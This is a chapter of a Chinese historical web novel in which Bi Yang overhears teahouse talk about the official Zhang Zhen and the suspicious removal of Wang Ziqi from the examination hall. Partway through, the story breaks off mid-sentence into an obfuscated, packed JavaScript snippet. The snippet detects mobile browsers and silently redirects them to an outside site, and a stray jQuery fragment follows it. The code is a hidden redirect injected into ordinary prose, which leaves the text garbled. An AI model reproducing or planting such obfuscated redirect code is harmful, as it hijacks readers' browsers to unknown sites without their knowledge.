话还没说完,只见许知州慌忙起身对玄袍人作揖,连鞠三躬才换来对方漫不经心的摆手,终见脸上露出轻松的笑意。
许知州如蒙大赦般擦着汗探头:“岩先生。”
这三个字像淬毒的针,刺得说书人扑通跪地。
“大人请吩咐!”说书人的额头几乎磕到栏杆,脸深深埋进抖动的双臂之间。
“还是按原来的,”许知州斜睨着楼下骚动的人群,“讲《钱塘佳梦》吧。”
说书人战战兢兢爬起身,醒木“啪”地重响,声音却虚浮得像飘在空中的柳絮。
“且说,那一日白衣女子在断桥边吟唱,裴公子终于同她说上了话,这才得知其名为苏小小……”
满场听众渐渐安静下来,虽仍有窃窃私语,却已不复方才的骚动。
毕扬竖起耳朵,邻桌几个商贾打扮的汉子正压低声音交谈:
“看见许大人那副模样没?定是京里来了大人物!”
“传闻他正是章宰相的门生,该不会是他来了?”一个粗布衣服打扮的年轻小伙有些吃惊地开着口,不自觉提高的声音愈见响亮。
“小点儿声!胡说些什么,就带这么点人出来,可不是该有的阵仗,况且如今京中可离不开人,就算他想来,估计……也不会放人的。”
毕扬偷偷斜眼瞧过去,说话的是个有些圆润的商人,他一手捧着瓜子,一手举起来指了指天。
“说起来,如今秋闱刚刚结束,正值评选,会不会真的是来选人的?”
“你当崇州是什么好地方,放着京都那么多好学生不选,他一个下辈子吃饭都不用发愁的人大老远来这儿选门生?真是吃饱了撑的。”
许是讨论声仍然有些大,前桌的一个面色白净的文人转过身凑着头也加入了话题:“咱们崇州怎么不好了?之前王知州家的公子还留在这儿考了试呢,都没跟着他老子一块儿回京都考。”
“诶哟,你们这些人净会看这些表面功夫,要我说,分明是想占着我们崇州的名额再往上多使使劲儿罢了,京都什么人杰地灵的地方,去那儿能考得上?他们这些人家的事儿,原就是不足为外人道矣。”胖商人将嘴里的瓜子皮吐在地上,摇了摇头。
毕扬迅速捕捉到对话中“王知州家公子”的字眼,很明显那定然说的是子期,她有些忍不住想走到那台桌子边,生怕遗漏了什么别的消息。
说书人正提高声调念白:“那苏小小坟头忽生异草,叶如雁翎,花开似雪……”
引得众人唏嘘。
均逸往自己嘴中塞了颗冰镇梅子,酸涩的滋味激得他微微一颤:“这说书先生倒会编,难不成苏小小成了精怪?”
毕扬应付地点了两下头,双目空空望着戏台,心早就不在钱塘江上了。
前桌转身的文人等到场子安静下来,又故作神秘地一笑才缓缓开口道:“这位兄台说的不无道理,只是那位王公子怕是占不到咱们崇州的名额了。”
“哦?怎么说?难不成他走了别的路子直接入榜了?不应该呀,我那日送我胞弟入考场,分明看到他也进去了。”
毕扬听到这里,心似乎被提到嗓子眼。
“确是进去考试了不假,”前桌的人得意地捻着胡须说道,“但没有考完便被带出来了,我那发小当日在贡院巡场,虽离得远,但还是亲眼见到王家公子被两个穿青衣的人从号舍请出来,往后门走了,连考箱都没来得及拿!”
桌边一众人听到这里,面上或多或少都露出几分不可思议的表情。
“还有这等子事!可……总得有个由头吧?难不成是作弊?”
“考场作弊可是大忌,他父亲才做到什么官职,路还长着呢,可不敢自毁前程!”那人说话间撇了撇嘴,“况且……我那发小也说瞧着不像,来接的那两人,无论是穿着打扮还是举止行为,都不似寻常官场衙门中的做派,而且两人腰间一人系着一块金灿灿的大腰牌,远远望去十分显眼!”
话音未落,二楼突然传来杯盏碎裂声,满场听众正听到紧要处,被这突如其来的打断惊得鸦雀无声。
“没意思,爹,我们走吧!”少女清脆的嗓音如银铃般打破沉寂,她拽着玄袍男子的衣袖轻晃,“原模原样的故事不知道听了多少回了,一点儿意思也没有,还不如回去看鱼儿呢!”
玄袍男子微微颔首,声音低沉却清晰:“嗯,那便走吧。”
说书先生僵在原地,醒木“啪嗒”掉在地上。许知州脸色霎时惨白,狠狠瞪了说书人一眼,忙不迭躬身陪笑:“那……那便走吧,章大人这边请——”转头又厉声吩咐着:“快去备轿!”
毕扬心思本也不在话本故事中,自然也没往二楼上望,只一个劲儿地瞄着隔壁桌讨论的动静。适才聊得正欢的几人刚要继续开口,忽见楼梯口玄影浮动,顿时噤若寒蝉。所有人的目光都聚焦在楼梯口。
玄袍男子缓步而下,终得见其真容。
这位章大人约莫四十年纪,面白无须,眉峰如刀削般凌厉,双眼垂敛时似闭非闭,抬眼时却如寒潭映刃,教人不敢直视,他行走时袍角纹丝不动,唯有腰间蟠龙玉佩与令牌相击,发出沉闷的铮鸣。
少女紧随其后,约十三四岁模样,梳着精致的牡丹头,发间插十二支金丝点翠蝴蝶簪,行动时蝶翅轻颤如活物。面容与章大人有七分相似,却因年纪尚小显得娇憨,杏眼里满是百无聊赖的神色,葱绿织金马面裙下那双云头履故意踩得嗒嗒响,鞋尖珍珠晃得人眼花。只是她的眼睛一直目视着厅堂外,似乎对这一趟说书的玩乐十分不满意。
许知州躬身跟在三步之后,绛紫官服的前襟有一块深色的污渍,显然已被冷汗浸透。他始终保持着恰到好处的距离,既不敢离得太近碍眼,又不敢离得太远显得怠慢。
三人昂首挺胸接踵下楼,同周遭一干听众形成鲜明对比,举手投足间尽显官场高门的模样,毕扬也曾偶尔在子期的身上瞧见过类似的身影,不觉有几分落寞。
章大人行至门口忽顿住脚步,无意般扫过适才那桌窃窃私语的几人,眼神如浸了冰的银针,看似轻飘飘掠过,却让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281750|177032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正嗑瓜子的胖商人猛地呛住,仿佛被无形的的手扼住了喉咙,咳得满脸通红也不敢出声。
他正要收回目光,忽被一抹颜色吸引,毕扬意外地抬了抬眉毛,没想到竟是朝着自己的方向看了过来。
或许离得有些远,看得模糊。只见章大人刚要眯眼细探,衣袖却被女儿拽住。
“爹!走吧,说好给我再挑个镯子的!”
毕扬慌忙别过脸,指尖无意识攥紧均逸的衣摆:“他是不是发现我们偷听了……”却见均逸怔怔望着章振离去的背影,脸色古怪得紧。
“怎么了?”她歪头看向突然噤声的均逸,发间的梨花流苏随着动作轻晃,扫过她困惑的眉眼。
“真奇怪,我确实没见过这人,”少年喉结滚动,“可又觉那位章大人的眉眼有些莫名熟悉……”随即他又摇了摇头,“算了,多半是装扮多有类似吧,若是将官帽一戴,恐怕百官都是一个模子刻出来的。”
毕扬听到最后一句,不由得笑了出来。
“确实不是章宰相,”见一行人的车马离开,邻桌的窃窃私语再度响起,如蚊蚋般钻入毕扬耳中,“年纪对不上,章相今年已过花甲,且膝下只有两位公子,且听闻大小姐早就许了人家,并无待字闺中的千金。”
听起来颇有些道理,几位听者都不约而同地点着头。
胖商人眼见没了吃食,随即站起身将文人那桌的瓜子端了过来,未等文人阻拦,又抓起一把在自己手心眉飞色舞开口道:“诶,你们刚看到了没,那人的腰间也有一个明晃晃的腰牌,莫非刚说起的王家公子是被他……”
毕扬听到这,眼中闪烁着锐利的光芒。
话未说完,一位坐在对角始终沉默的老者突然开口:“我知道他是谁,我见过他。”
“谁呀!”
“是谁?”
满桌人顿时围拢过来。
“他原也是崇州人……想来怕是十多年了,那会儿他随着父辈四处奔走做生意,有时候跑累了,总爱来我摊上喝一碗凉茶……”他枯柴般的手指摩挲着陶碗边缘,眼中泛起追忆,“章家三房的老幺,章振。”
“你这么一说,似乎听家里长辈说起过,以前好像确实有户姓章的。”书生拿手敲了敲脑袋。
“嗯……”老者点了点头,“只是他们家人丁稀少,死的死,走的走,再到后来只剩他一门,大婚也是简单置办,草草了事,后来连他也离开了,宅子也封了,走得干干净净。”
“老人家,你刚说他家是做生意的,是做什么生意?我刚看他的模样可不像是做生意之人,更像官场上的人物。”
“我记得……他们家是卖酒的,”老者含糊说着,又摇摇头道,“太早以前的事了,况且人还能一辈子只干一件事不成?我也早就不卖凉茶了。”
此时说书人正说到——“芳魂化作西湖雨,夜夜随风到临安。”
但毕扬再也听不进去任何话本唱调,这些人的议论绝不是空穴来风,如果子期的离开真的另有隐情,她绝对不能坐视不理。